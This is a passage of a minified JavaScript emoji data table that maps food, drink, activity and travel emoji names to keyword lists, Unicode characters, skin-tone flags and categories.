food"],char:"\ud83c\udf5f",fitzpatrick_scale:!1,category:"food_and_drink"},stuffed_flatbread:{keywords:["food","flatbread","stuffed","gyro"],char:"\ud83e\udd59",fitzpatrick_scale:!1,category:"food_and_drink"},hotdog:{keywords:["food","frankfurter"],char:"\ud83c\udf2d",fitzpatrick_scale:!1,category:"food_and_drink"},pizza:{keywords:["food","party"],char:"\ud83c\udf55",fitzpatrick_scale:!1,category:"food_and_drink"},sandwich:{keywords:["food","lunch","bread"],char:"\ud83e\udd6a",fitzpatrick_scale:!1,category:"food_and_drink"},canned_food:{keywords:["food","soup"],char:"\ud83e\udd6b",fitzpatrick_scale:!1,category:"food_and_drink"},spaghetti:{keywords:["food","italian","noodle"],char:"\ud83c\udf5d",fitzpatrick_scale:!1,category:"food_and_drink"},taco:{keywords:["food","mexican"],char:"\ud83c\udf2e",fitzpatrick_scale:!1,category:"food_and_drink"},burrito:{keywords:["food","mexican"],char:"\ud83c\udf2f",fitzpatrick_scale:!1,category:"food_and_drink"},green_salad:{keywords:["food","healthy","lettuce"],char:"\ud83e\udd57",fitzpatrick_scale:!1,category:"food_and_drink"},shallow_pan_of_food:{keywords:["food","cooking","casserole","paella"],char:"\ud83e\udd58",fitzpatrick_scale:!1,category:"food_and_drink"},ramen:{keywords:["food","japanese","noodle","chopsticks"],char:"\ud83c\udf5c",fitzpatrick_scale:!1,category:"food_and_drink"},stew:{keywords:["food","meat","soup"],char:"\ud83c\udf72",fitzpatrick_scale:!1,category:"food_and_drink"},fish_cake:{keywords:["food","japan","sea","beach","narutomaki","pink","swirl","kamaboko","surimi","ramen"],char:"\ud83c\udf65",fitzpatrick_scale:!1,category:"food_and_drink"},fortune_cookie:{keywords:["food","prophecy"],char:"\ud83e\udd60",fitzpatrick_scale:!1,category:"food_and_drink"},sushi:{keywords:["food","fish","japanese","rice"],char:"\ud83c\udf63",fitzpatrick_scale:!1,category:"food_and_drink"},bento:{keywords:["food","japanese","box"],char:"\ud83c\udf71",fitzpatrick_scale:!1,category:"food_and_drink"},curry:{keywords:["food","spicy","hot","indian"],char:"\ud83c\udf5b",fitzpatrick_scale:!1,category:"food_and_drink"},rice_ball:{keywords:["food","japanese"],char:"\ud83c\udf59",fitzpatrick_scale:!1,category:"food_and_drink"},rice:{keywords:["food","china","asian"],char:"\ud83c\udf5a",fitzpatrick_scale:!1,category:"food_and_drink"},rice_cracker:{keywords:["food","japanese"],char:"\ud83c\udf58",fitzpatrick_scale:!1,category:"food_and_drink"},oden:{keywords:["food","japanese"],char:"\ud83c\udf62",fitzpatrick_scale:!1,category:"food_and_drink"},dango:{keywords:["food","dessert","sweet","japanese","barbecue","meat"],char:"\ud83c\udf61",fitzpatrick_scale:!1,category:"food_and_drink"},shaved_ice:{keywords:["hot","dessert","summer"],char:"\ud83c\udf67",fitzpatrick_scale:!1,category:"food_and_drink"},ice_cream:{keywords:["food","hot","dessert"],char:"\ud83c\udf68",fitzpatrick_scale:!1,category:"food_and_drink"},icecream:{keywords:["food","hot","dessert","summer"],char:"\ud83c\udf66",fitzpatrick_scale:!1,category:"food_and_drink"},pie:{keywords:["food","dessert","pastry"],char:"\ud83e\udd67",fitzpatrick_scale:!1,category:"food_and_drink"},cake:{keywords:["food","dessert"],char:"\ud83c\udf70",fitzpatrick_scale:!1,category:"food_and_drink"},cupcake:{keywords:["food","dessert","bakery","sweet"],char:"\ud83e\uddc1",fitzpatrick_scale:!1,category:"food_and_drink"},moon_cake:{keywords:["food","autumn"],char:"\ud83e\udd6e",fitzpatrick_scale:!1,category:"food_and_drink"},birthday:{keywords:["food","dessert","cake"],char:"\ud83c\udf82",fitzpatrick_scale:!1,category:"food_and_drink"},custard:{keywords:["dessert","food"],char:"\ud83c\udf6e",fitzpatrick_scale:!1,category:"food_and_drink"},candy:{keywords:["snack","dessert","sweet","lolly"],char:"\ud83c\udf6c",fitzpatrick_scale:!1,category:"food_and_drink"},lollipop:{keywords:["food","snack","candy","sweet"],char:"\ud83c\udf6d",fitzpatrick_scale:!1,category:"food_and_drink"},chocolate_bar:{keywords:["food","snack","dessert","sweet"],char:"\ud83c\udf6b",fitzpatrick_scale:!1,category:"food_and_drink"},popcorn:{keywords:["food","movie theater","films","snack"],char:"\ud83c\udf7f",fitzpatrick_scale:!1,category:"food_and_drink"},dumpling:{keywords:["food","empanada","pierogi","potsticker"],char:"\ud83e\udd5f",fitzpatrick_scale:!1,category:"food_and_drink"},doughnut:{keywords:["food","dessert","snack","sweet","donut"],char:"\ud83c\udf69",fitzpatrick_scale:!1,category:"food_and_drink"},cookie:{keywords:["food","snack","oreo","chocolate","sweet","dessert"],char:"\ud83c\udf6a",fitzpatrick_scale:!1,category:"food_and_drink"},milk_glass:{keywords:["beverage","drink","cow"],char:"\ud83e\udd5b",fitzpatrick_scale:!1,category:"food_and_drink"},beer:{keywords:["relax","beverage","drink","drunk","party","pub","summer","alcohol","booze"],char:"\ud83c\udf7a",fitzpatrick_scale:!1,category:"food_and_drink"},beers:{keywords:["relax","beverage","drink","drunk","party","pub","summer","alcohol","booze"],char:"\ud83c\udf7b",fitzpatrick_scale:!1,category:"food_and_drink"},clinking_glasses:{keywords:["beverage","drink","party","alcohol","celebrate","cheers","wine","champagne","toast"],char:"\ud83e\udd42",fitzpatrick_scale:!1,category:"food_and_drink"},wine_glass:{keywords:["drink","beverage","drunk","alcohol","booze"],char:"\ud83c\udf77",fitzpatrick_scale:!1,category:"food_and_drink"},tumbler_glass:{keywords:["drink","beverage","drunk","alcohol","liquor","booze","bourbon","scotch","whisky","glass","shot"],char:"\ud83e\udd43",fitzpatrick_scale:!1,category:"food_and_drink"},cocktail:{keywords:["drink","drunk","alcohol","beverage","booze","mojito"],char:"\ud83c\udf78",fitzpatrick_scale:!1,category:"food_and_drink"},tropical_drink:{keywords:["beverage","cocktail","summer","beach","alcohol","booze","mojito"],char:"\ud83c\udf79",fitzpatrick_scale:!1,category:"food_and_drink"},champagne:{keywords:["drink","wine","bottle","celebration"],char:"\ud83c\udf7e",fitzpatrick_scale:!1,category:"food_and_drink"},sake:{keywords:["wine","drink","drunk","beverage","japanese","alcohol","booze"],char:"\ud83c\udf76",fitzpatrick_scale:!1,category:"food_and_drink"},tea:{keywords:["drink","bowl","breakfast","green","british"],char:"\ud83c\udf75",fitzpatrick_scale:!1,category:"food_and_drink"},cup_with_straw:{keywords:["drink","soda"],char:"\ud83e\udd64",fitzpatrick_scale:!1,category:"food_and_drink"},coffee:{keywords:["beverage","caffeine","latte","espresso"],char:"\u2615",fitzpatrick_scale:!1,category:"food_and_drink"},baby_bottle:{keywords:["food","container","milk"],char:"\ud83c\udf7c",fitzpatrick_scale:!1,category:"food_and_drink"},salt:{keywords:["condiment","shaker"],char:"\ud83e\uddc2",fitzpatrick_scale:!1,category:"food_and_drink"},spoon:{keywords:["cutlery","kitchen","tableware"],char:"\ud83e\udd44",fitzpatrick_scale:!1,category:"food_and_drink"},fork_and_knife:{keywords:["cutlery","kitchen"],char:"\ud83c\udf74",fitzpatrick_scale:!1,category:"food_and_drink"},plate_with_cutlery:{keywords:["food","eat","meal","lunch","dinner","restaurant"],char:"\ud83c\udf7d",fitzpatrick_scale:!1,category:"food_and_drink"},bowl_with_spoon:{keywords:["food","breakfast","cereal","oatmeal","porridge"],char:"\ud83e\udd63",fitzpatrick_scale:!1,category:"food_and_drink"},takeout_box:{keywords:["food","leftovers"],char:"\ud83e\udd61",fitzpatrick_scale:!1,category:"food_and_drink"},chopsticks:{keywords:["food"],char:"\ud83e\udd62",fitzpatrick_scale:!1,category:"food_and_drink"},soccer:{keywords:["sports","football"],char:"\u26bd",fitzpatrick_scale:!1,category:"activity"},basketball:{keywords:["sports","balls","NBA"],char:"\ud83c\udfc0",fitzpatrick_scale:!1,category:"activity"},football:{keywords:["sports","balls","NFL"],char:"\ud83c\udfc8",fitzpatrick_scale:!1,category:"activity"},baseball:{keywords:["sports","balls"],char:"\u26be",fitzpatrick_scale:!1,category:"activity"},softball:{keywords:["sports","balls"],char:"\ud83e\udd4e",fitzpatrick_scale:!1,category:"activity"},tennis:{keywords:["sports","balls","green"],char:"\ud83c\udfbe",fitzpatrick_scale:!1,category:"activity"},volleyball:{keywords:["sports","balls"],char:"\ud83c\udfd0",fitzpatrick_scale:!1,category:"activity"},rugby_football:{keywords:["sports","team"],char:"\ud83c\udfc9",fitzpatrick_scale:!1,category:"activity"},flying_disc:{keywords:["sports","frisbee","ultimate"],char:"\ud83e\udd4f",fitzpatrick_scale:!1,category:"activity"},"8ball":{keywords:["pool","hobby","game","luck","magic"],char:"\ud83c\udfb1",fitzpatrick_scale:!1,category:"activity"},golf:{keywords:["sports","business","flag","hole","summer"],char:"\u26f3",fitzpatrick_scale:!1,category:"activity"},golfing_woman:{keywords:["sports","business","woman","female"],char:"\ud83c\udfcc\ufe0f\u200d\u2640\ufe0f",fitzpatrick_scale:!1,category:"activity"},golfing_man:{keywords:["sports","business"],char:"\ud83c\udfcc",fitzpatrick_scale:!0,category:"activity"},ping_pong:{keywords:["sports","pingpong"],char:"\ud83c\udfd3",fitzpatrick_scale:!1,category:"activity"},badminton:{keywords:["sports"],char:"\ud83c\udff8",fitzpatrick_scale:!1,category:"activity"},goal_net:{keywords:["sports"],char:"\ud83e\udd45",fitzpatrick_scale:!1,category:"activity"},ice_hockey:{keywords:["sports"],char:"\ud83c\udfd2",fitzpatrick_scale:!1,category:"activity"},field_hockey:{keywords:["sports"],char:"\ud83c\udfd1",fitzpatrick_scale:!1,category:"activity"},lacrosse:{keywords:["sports","ball","stick"],char:"\ud83e\udd4d",fitzpatrick_scale:!1,category:"activity"},cricket:{keywords:["sports"],char:"\ud83c\udfcf",fitzpatrick_scale:!1,category:"activity"},ski:{keywords:["sports","winter","cold","snow"],char:"\ud83c\udfbf",fitzpatrick_scale:!1,category:"activity"},skier:{keywords:["sports","winter","snow"],char:"\u26f7",fitzpatrick_scale:!1,category:"activity"},snowboarder:{keywords:["sports","winter"],char:"\ud83c\udfc2",fitzpatrick_scale:!0,category:"activity"},person_fencing:{keywords:["sports","fencing","sword"],char:"\ud83e\udd3a",fitzpatrick_scale:!1,category:"activity"},women_wrestling:{keywords:["sports","wrestlers"],char:"\ud83e\udd3c\u200d\u2640\ufe0f",fitzpatrick_scale:!1,category:"activity"},men_wrestling:{keywords:["sports","wrestlers"],char:"\ud83e\udd3c\u200d\u2642\ufe0f",fitzpatrick_scale:!1,category:"activity"},woman_cartwheeling:{keywords:["gymnastics"],char:"\ud83e\udd38\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},man_cartwheeling:{keywords:["gymnastics"],char:"\ud83e\udd38\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"activity"},woman_playing_handball:{keywords:["sports"],char:"\ud83e\udd3e\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},man_playing_handball:{keywords:["sports"],char:"\ud83e\udd3e\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"activity"},ice_skate:{keywords:["sports"],char:"\u26f8",fitzpatrick_scale:!1,category:"activity"},curling_stone:{keywords:["sports"],char:"\ud83e\udd4c",fitzpatrick_scale:!1,category:"activity"},skateboard:{keywords:["board"],char:"\ud83d\udef9",fitzpatrick_scale:!1,category:"activity"},sled:{keywords:["sleigh","luge","toboggan"],char:"\ud83d\udef7",fitzpatrick_scale:!1,category:"activity"},bow_and_arrow:{keywords:["sports"],char:"\ud83c\udff9",fitzpatrick_scale:!1,category:"activity"},fishing_pole_and_fish:{keywords:["food","hobby","summer"],char:"\ud83c\udfa3",fitzpatrick_scale:!1,category:"activity"},boxing_glove:{keywords:["sports","fighting"],char:"\ud83e\udd4a",fitzpatrick_scale:!1,category:"activity"},martial_arts_uniform:{keywords:["judo","karate","taekwondo"],char:"\ud83e\udd4b",fitzpatrick_scale:!1,category:"activity"},rowing_woman:{keywords:["sports","hobby","water","ship","woman","female"],char:"\ud83d\udea3\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},rowing_man:{keywords:["sports","hobby","water","ship"],char:"\ud83d\udea3",fitzpatrick_scale:!0,category:"activity"},climbing_woman:{keywords:["sports","hobby","woman","female","rock"],char:"\ud83e\uddd7\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},climbing_man:{keywords:["sports","hobby","man","male","rock"],char:"\ud83e\uddd7\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"activity"},swimming_woman:{keywords:["sports","exercise","human","athlete","water","summer","woman","female"],char:"\ud83c\udfca\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},swimming_man:{keywords:["sports","exercise","human","athlete","water","summer"],char:"\ud83c\udfca",fitzpatrick_scale:!0,category:"activity"},woman_playing_water_polo:{keywords:["sports","pool"],char:"\ud83e\udd3d\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},man_playing_water_polo:{keywords:["sports","pool"],char:"\ud83e\udd3d\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"activity"},woman_in_lotus_position:{keywords:["woman","female","meditation","yoga","serenity","zen","mindfulness"],char:"\ud83e\uddd8\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},man_in_lotus_position:{keywords:["man","male","meditation","yoga","serenity","zen","mindfulness"],char:"\ud83e\uddd8\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"activity"},surfing_woman:{keywords:["sports","ocean","sea","summer","beach","woman","female"],char:"\ud83c\udfc4\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},surfing_man:{keywords:["sports","ocean","sea","summer","beach"],char:"\ud83c\udfc4",fitzpatrick_scale:!0,category:"activity"},bath:{keywords:["clean","shower","bathroom"],char:"\ud83d\udec0",fitzpatrick_scale:!0,category:"activity"},basketball_woman:{keywords:["sports","human","woman","female"],char:"\u26f9\ufe0f\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},basketball_man:{keywords:["sports","human"],char:"\u26f9",fitzpatrick_scale:!0,category:"activity"},weight_lifting_woman:{keywords:["sports","training","exercise","woman","female"],char:"\ud83c\udfcb\ufe0f\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},weight_lifting_man:{keywords:["sports","training","exercise"],char:"\ud83c\udfcb",fitzpatrick_scale:!0,category:"activity"},biking_woman:{keywords:["sports","bike","exercise","hipster","woman","female"],char:"\ud83d\udeb4\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},biking_man:{keywords:["sports","bike","exercise","hipster"],char:"\ud83d\udeb4",fitzpatrick_scale:!0,category:"activity"},mountain_biking_woman:{keywords:["transportation","sports","human","race","bike","woman","female"],char:"\ud83d\udeb5\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},mountain_biking_man:{keywords:["transportation","sports","human","race","bike"],char:"\ud83d\udeb5",fitzpatrick_scale:!0,category:"activity"},horse_racing:{keywords:["animal","betting","competition","gambling","luck"],char:"\ud83c\udfc7",fitzpatrick_scale:!0,category:"activity"},business_suit_levitating:{keywords:["suit","business","levitate","hover","jump"],char:"\ud83d\udd74",fitzpatrick_scale:!0,category:"activity"},trophy:{keywords:["win","award","contest","place","ftw","ceremony"],char:"\ud83c\udfc6",fitzpatrick_scale:!1,category:"activity"},running_shirt_with_sash:{keywords:["play","pageant"],char:"\ud83c\udfbd",fitzpatrick_scale:!1,category:"activity"},medal_sports:{keywords:["award","winning"],char:"\ud83c\udfc5",fitzpatrick_scale:!1,category:"activity"},medal_military:{keywords:["award","winning","army"],char:"\ud83c\udf96",fitzpatrick_scale:!1,category:"activity"},"1st_place_medal":{keywords:["award","winning","first"],char:"\ud83e\udd47",fitzpatrick_scale:!1,category:"activity"},"2nd_place_medal":{keywords:["award","second"],char:"\ud83e\udd48",fitzpatrick_scale:!1,category:"activity"},"3rd_place_medal":{keywords:["award","third"],char:"\ud83e\udd49",fitzpatrick_scale:!1,category:"activity"},reminder_ribbon:{keywords:["sports","cause","support","awareness"],char:"\ud83c\udf97",fitzpatrick_scale:!1,category:"activity"},rosette:{keywords:["flower","decoration","military"],char:"\ud83c\udff5",fitzpatrick_scale:!1,category:"activity"},ticket:{keywords:["event","concert","pass"],char:"\ud83c\udfab",fitzpatrick_scale:!1,category:"activity"},tickets:{keywords:["sports","concert","entrance"],char:"\ud83c\udf9f",fitzpatrick_scale:!1,category:"activity"},performing_arts:{keywords:["acting","theater","drama"],char:"\ud83c\udfad",fitzpatrick_scale:!1,category:"activity"},art:{keywords:["design","paint","draw","colors"],char:"\ud83c\udfa8",fitzpatrick_scale:!1,category:"activity"},circus_tent:{keywords:["festival","carnival","party"],char:"\ud83c\udfaa",fitzpatrick_scale:!1,category:"activity"},woman_juggling:{keywords:["juggle","balance","skill","multitask"],char:"\ud83e\udd39\u200d\u2640\ufe0f",fitzpatrick_scale:!0,category:"activity"},man_juggling:{keywords:["juggle","balance","skill","multitask"],char:"\ud83e\udd39\u200d\u2642\ufe0f",fitzpatrick_scale:!0,category:"activity"},microphone:{keywords:["sound","music","PA","sing","talkshow"],char:"\ud83c\udfa4",fitzpatrick_scale:!1,category:"activity"},headphones:{keywords:["music","score","gadgets"],char:"\ud83c\udfa7",fitzpatrick_scale:!1,category:"activity"},musical_score:{keywords:["treble","clef","compose"],char:"\ud83c\udfbc",fitzpatrick_scale:!1,category:"activity"},musical_keyboard:{keywords:["piano","instrument","compose"],char:"\ud83c\udfb9",fitzpatrick_scale:!1,category:"activity"},drum:{keywords:["music","instrument","drumsticks","snare"],char:"\ud83e\udd41",fitzpatrick_scale:!1,category:"activity"},saxophone:{keywords:["music","instrument","jazz","blues"],char:"\ud83c\udfb7",fitzpatrick_scale:!1,category:"activity"},trumpet:{keywords:["music","brass"],char:"\ud83c\udfba",fitzpatrick_scale:!1,category:"activity"},guitar:{keywords:["music","instrument"],char:"\ud83c\udfb8",fitzpatrick_scale:!1,category:"activity"},violin:{keywords:["music","instrument","orchestra","symphony"],char:"\ud83c\udfbb",fitzpatrick_scale:!1,category:"activity"},clapper:{keywords:["movie","film","record"],char:"\ud83c\udfac",fitzpatrick_scale:!1,category:"activity"},video_game:{keywords:["play","console","PS4","controller"],char:"\ud83c\udfae",fitzpatrick_scale:!1,category:"activity"},space_invader:{keywords:["game","arcade","play"],char:"\ud83d\udc7e",fitzpatrick_scale:!1,category:"activity"},dart:{keywords:["game","play","bar","target","bullseye"],char:"\ud83c\udfaf",fitzpatrick_scale:!1,category:"activity"},game_die:{keywords:["dice","random","tabletop","play","luck"],char:"\ud83c\udfb2",fitzpatrick_scale:!1,category:"activity"},chess_pawn:{keywords:["expendable"],char:"\u265f",fitzpatrick_scale:!1,category:"activity"},slot_machine:{keywords:["bet","gamble","vegas","fruit machine","luck","casino"],char:"\ud83c\udfb0",fitzpatrick_scale:!1,category:"activity"},jigsaw:{keywords:["interlocking","puzzle","piece"],char:"\ud83e\udde9",fitzpatrick_scale:!1,category:"activity"},bowling:{keywords:["sports","fun","play"],char:"\ud83c\udfb3",fitzpatrick_scale:!1,category:"activity"},red_car:{keywords:["red","transportation","vehicle"],char:"\ud83d\ude97",fitzpatrick_scale:!1,category:"travel_and_places"},taxi:{keywords:["uber","vehicle","cars","transportation"],char:"\ud83d\ude95",fitzpatrick_scale:!1,category:"travel_and_places"},blue_car:{keywords:["transportation","vehicle"],char:"\ud83d\ude99",fitzpatrick_scale:!1,category:"travel_and_places"},bus:{keywords:["car","vehicle","transportation"],char:"\ud83d\ude8c",fitzpatrick_scale:!1,category:"travel_and_places"},trolleybus:{keywords:["bart","transportation","vehicle"],char:"\ud83d\ude8e",fitzpatrick_scale:!1,category:"travel_and_places"},racing_car:{keywords:["sports","race","fast","formula","f1"],char:"\ud83c\udfce",fitzpatrick_scale:!1,category:"travel_and_places"},police_car:{keywords:["vehicle","cars","transportation","law","legal","enforcement"],char:"\ud83d\ude93",fitzpatrick_scale:!1,category:"travel_and_places"},ambulance:{keywords:["health","911","hospital"],char:"\ud83d\ude91",fitzpatrick_scale:!1,category:"travel_and_places"},fire_engine:{keywords:["transportation","cars","vehicle"],char:"\ud83d\ude92",fitzpatrick_scale:!1,category:"travel_and_places"},minibus:{keywords:["vehicle","car","transportation"],char:"\ud83d\ude90",fitzpatrick_scale:!1,category:"travel_and_places"},truck:{keywords:["cars","transportation"],char:"\ud83d\ude9a",fitzpatrick_scale:!1,category:"travel_and_places"},articulated_lorry:{keywords:["vehicle","cars","transportation","express"],char:"\ud83d\ude9b",fitzpatrick_scale:!1,category:"travel_and_places"},tractor:{keywords:["vehicle","car","farming","agriculture"],char:"\ud83d\ude9c",fitzpatrick_scale:!1,category:"travel_and_places"},kick_scooter:{keywords:["vehicle","kick","razor"],char:"\ud83d\udef4",fitzpatrick_scale:!1,category:"travel_and_places"},motorcycle:{keywords:["race","sports","fast"],char:"\ud83c\udfcd",fitzpatrick_scale:!1,category:"travel_and_places"},bike:{keywords:["sports","bicycle","exercise","hipster"],char:"\ud83d\udeb2",fitzpatrick_scale:!1,category:"travel_and_places"},motor_scooter:{keywords:["vehicle","vespa","sasha"],char:"\ud83d\udef5",fitzpatrick_scale:!1,category:"travel_and_places"},rotating_light:{keywords:["police","ambulance","911","emergency","alert","error","pinged","law","legal"],char:"\ud83d\udea8",fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_police_car:{keywords:["vehicle","law","legal","enforcement","911"],char:"\ud83d\ude94",fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_bus:{keywords:["vehicle","transportation"],char:"\ud83d\ude8d",fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_automobile:{keywords:["car","vehicle","transportation"],char:"\ud83d\ude98",fitzpatrick_scale:!1,category:"travel_and_places"},oncoming_taxi:{keywords:["vehicle","cars","uber"],char:"\ud83d\ude96",fitzpatrick_scale:!1,category:"travel_and_places"},aerial_tramway:{keywords:["transportation","vehicle","ski"],char:"\ud83d\udea1",fitzpatrick_scale:!1,category:"travel_and_places"},mountain_cableway:{keywords:["transportation","vehicle","ski"],char:"\ud83d\udea0",fitzpatrick_scale:!1,category:"travel_and_places"},suspension_railway:{keywords:["vehicle","transportation"],char:"\ud83d\ude9f",fitzpatrick_scale:!1,category:"travel_and_places"},railway_car:{keywords:["transportation","vehicle"],char:"\ud83d\ude83",fitzpatrick_scale:!1,category:"travel_and_places"},train:{keywords:["transportation","vehicle","carriage","public","travel"],char:"\ud83d\ude8b",fitzpatrick_scale:!1,category:"travel_and_places"},monorail:{keywords:["transportation","vehicle"],char:"\ud83d\ude9d",fitzpatrick_scale:!1,category:"travel_and_places"},bullettrain_side:{keywords:["transportation","vehicle"],char:"\ud83d\ude84",fitzpatrick_scale:!1,category:"travel_and_places"},bullettrain_front:{keywords:["transportation","vehicle","speed","fast","public","travel"],char:"\ud83d\ude85",fitzpatrick_scale:!1,category:"travel_and_places"},light_rail:{keywords:["transportation","vehicle"],char:"\ud83d\ude88",fitzpatrick_scale:!1,category:"travel_and_places"},mountain_railway:{keywords:["transportation","vehicle"],char:"\ud83d\ude9e",fitzpatrick_scale:!1,category:"travel_and_places"},steam_locomotive:{keywords:["transportation","vehicle","train"],char:"\ud83d\ude82",fitzpatrick_scale:!1,category:"travel_and_places"},train2:{keywords:["transportation","vehicle"],char:"\ud83d\ude86",fitzpatrick_scale:!1,category:"travel_and_places"},metro:{keywords:["transportation","blue-square","mrt","underground","tube"],char:"\ud83d\ude87",fitzpatrick_scale:!1,category:"travel_and_places"},tram:{keywords:["transportation","vehicle"],char:"\ud83d\ude8a",fitzpatrick_scale:!1,category:"travel_and_places"},station:{keywords:["transportation","vehicle","public"],char:"\ud83d\ude89",fitzpatrick_scale:!1,category:"travel_and_places"},flying_saucer:{keywords:["transportation","vehicle","ufo"],char:"\ud83d\udef8",fitzpatrick_scale:!1,category:"travel_and_places"},helicopter:{keywords:["transportation","vehicle","fly"],char:"\ud83d\ude81",fitzpatrick_scale:!1,category:"travel_and_places"},small_airplane:{keywords:["flight","transportation","fly","vehicle"],char:"\ud83d\udee9",fitzpatrick_scale:!1,category:"travel_and_places"},airplane:{keywords:["vehicle","transportation","flight","fly"],char:"\u2708\ufe0f",fitzpatrick_scale:!1,category:"travel_and_places"},flight_departure:{keywords:["airport","flight","landing"],char:"\ud83d\udeeb",fitzpatrick_scale:!1,category:"travel_and_places"},flight_arrival:{keywords:["airport","flight","boarding"],char:"\ud83d\udeec",fitzpatrick_scale:!1,category:"travel_and_places"},sailboat:{keywords:["ship","summer","transportation","water","sailing"],char:"\u26f5",fitzpatrick_scale:!1,category:"travel_and_places"},motor_boat:{keywords:["ship"],char:"\ud83d\udee5",fitzpatrick_scale:!1,category:"travel_and_places"},speedboat:{keywords:["ship","transportation","vehicle","summer"],char:"\ud83d\udea4",fitzpatrick_scale:!1,category:"travel_and_places"},ferry:{keywords:["boat","ship","yacht"],char:"\u26f4",fitzpatrick_scale:!1,category:"travel_and_places"},passenger_ship:{keywords:["yacht","cruise","ferry"],char:"\ud83d\udef3",fitzpatrick_scale:!1,category:"travel_and_places"},rocket:{keywords:["launch","ship","staffmode","NASA","outer space","outer_space","fly"],char:"\ud83d\ude80",fitzpatrick_scale:!1,category:"travel_and_places"},artificial_satellite:{keywords:["communication","gps","orbit","spaceflight","NASA","ISS"],char:"\ud83d\udef0",fitzpatrick_scale:!1,category:"travel_and_places"},seat:{keywords:["sit","airplane","transport","bus","flight","fly"],char:"\ud83d\udcba",fitzpatrick_scale:!1,category:"travel_and_places"},canoe:{keywords:["boat","paddle","water","ship"],char:"\ud83d\udef6",fitzpatrick_scale:!1,category:"travel_and_places"},anchor:{keywords:["ship","ferry","sea","boat"],char:"\u2693",fitzpatrick_scale:!1,category:"travel_and_places"},construction:{keywords:["wip","progress","caution","warning"],char:"\ud83d\udea7",fitzpatrick_scale:!1,category:"travel_and_places"},fuelpump:{keywords:["gas station","petroleum"],char:"\u26fd",fitzpatrick_scale:!1,category:"travel_and_places"},busstop:{keywords:["transportation","wait"],char:"\ud83d\ude8f",fitzpatrick_scale:!1,category:"travel_and_places"},vertical_traffic_light:{keywords:["transportation","driving"],char:"\ud83d\udea6",fitzpatrick_scale:!1,category:"travel_and_places"},traffic_light:{keywords:["transportation","signal"],char:"\ud83d\udea5",fitzpatrick_scale:!1,category:"travel_and_places"},checkered_flag:{keywords:["contest","finishline","race","gokart"],char:"\ud83c\udfc1",fitzpatrick_scale:!1,category:"travel_and_places"},ship:{keywords:["transportation","titanic","deploy"],char:"\ud83d\udea2",fitzpatrick_scale:!1,category:"travel_and_places"},ferris_wheel:{keywords:["photo","carnival","londoneye"],char:"\ud83c\udfa1",fitzpatrick_scale:!1,category:"travel_and_places"},roller_coaster:{keywords:["carnival","playground","photo","fun"],char:"\ud83c\udfa2",fitzpatrick_scale:!1,category:"travel_and_places"},carousel_horse:{keywords:["photo","carnival"],char:"\ud83c\udfa0",fitzpatrick_scale:!1,category:"travel_and_places"},building_construction:{keywords:["wip","working","progress"],char:"\ud83c\udfd7",fitzpatrick_scale:!1,category:"travel_and_places"},foggy:{keywords:["photo","mountain"],char:"\ud83c\udf01",fitzpatrick_scale:!1,category:"travel_and_places"},tokyo_tower:{keywords:["photo","japanese"],char:"\ud83d\uddfc",fitzpatrick_scale:!1,category:"travel_and_places"},factory:{keywords:["building","industry","pollution","smoke"],char:"\ud83c\udfed",fitzpatrick_scale:!1,category:"travel_and_places"},fountain:{keywords:["photo","summer","water","fresh"],char:"\u26f2",fitzpatrick_scale:!1,category:"travel_and_places"},rice_scene:{keywords:["photo","japan","asia","tsukimi"],char:"\ud83c\udf91",fitzpatrick_scale:!1,category:"travel_and_places"},mountain:{keywords:["photo","nature","environment"],char:"\u26f0",fitzpatrick_scale:!1,category:"travel_and_places"},mountain_snow:{keywords:["photo","nature","environment","winter","cold"],char:"\ud83c\udfd4",fitzpatrick_scale:!1,category:"travel_and_places"},mount_fuji:{keywords:["photo","mountain","nature","japanese"],char:"\ud83d\uddfb",fitzpatrick_scale:!1,category:"travel_and_places"},volcano:{keywords:["photo","nature","disaster"],char:"\ud83c\udf0b",fitzpatrick_scale:!1,category:"travel_and_places"},japan:{keywords:["nation","country","japanese","asia"],char:"\ud83d\uddfe",fitzpatrick_scale:!1,category:"travel_and_places"},camping:{keywords:["photo","outdoors","tent"],char:"\ud83c\udfd5",fitzpatrick_scale:!1,category:"travel_and_places"},tent:{keywords:["photo","camping","outdoors"],char:"\u26fa",fitzpatrick_scale:!1,category:"travel_and_places"},national_park:{keywords:["photo","environment","nature"],char:"\ud83c\udfde",fitzpatrick_scale:!1,category:"travel_and_places"},motorway:{keywords:["road","cupertino","interstate","highway"],char:"\ud83d\udee3",fitzpatrick_scale:!1,category:"travel_and_places"},railway_track:{keywords:["train","transportation"],char:"\ud83d\udee4",fitzpatrick_scale:!1,category:"travel_and_places"},sunrise:{keywords:["morning","view","vacation","photo"],char:"\ud83c\udf05",fitzpatrick_scale:!1,category:"travel_and_places"},sunrise_over_mountains:{keywords:["view","vacation","photo"],char:"\ud83c\udf04",fitzpatrick_scale:!1,category:"travel_and_places"},desert:{keywords:["photo","warm","saharah"],char:"\ud83c\udfdc",fitzpatrick_scale:!1,category:"travel_and_places"},beach_umbrella:{keywords:["weather","summer","sunny","sand","mojito"],char:"\ud83c\udfd6",fitzpatrick_scale:!1,category:"travel_and_places"},desert_island:{keywords:["photo","tropical","mojito"],char:"\ud83c\udfdd",fitzpatrick_scale:!1,category:"travel_and_places"},city_sunrise:{keywords:["photo","good 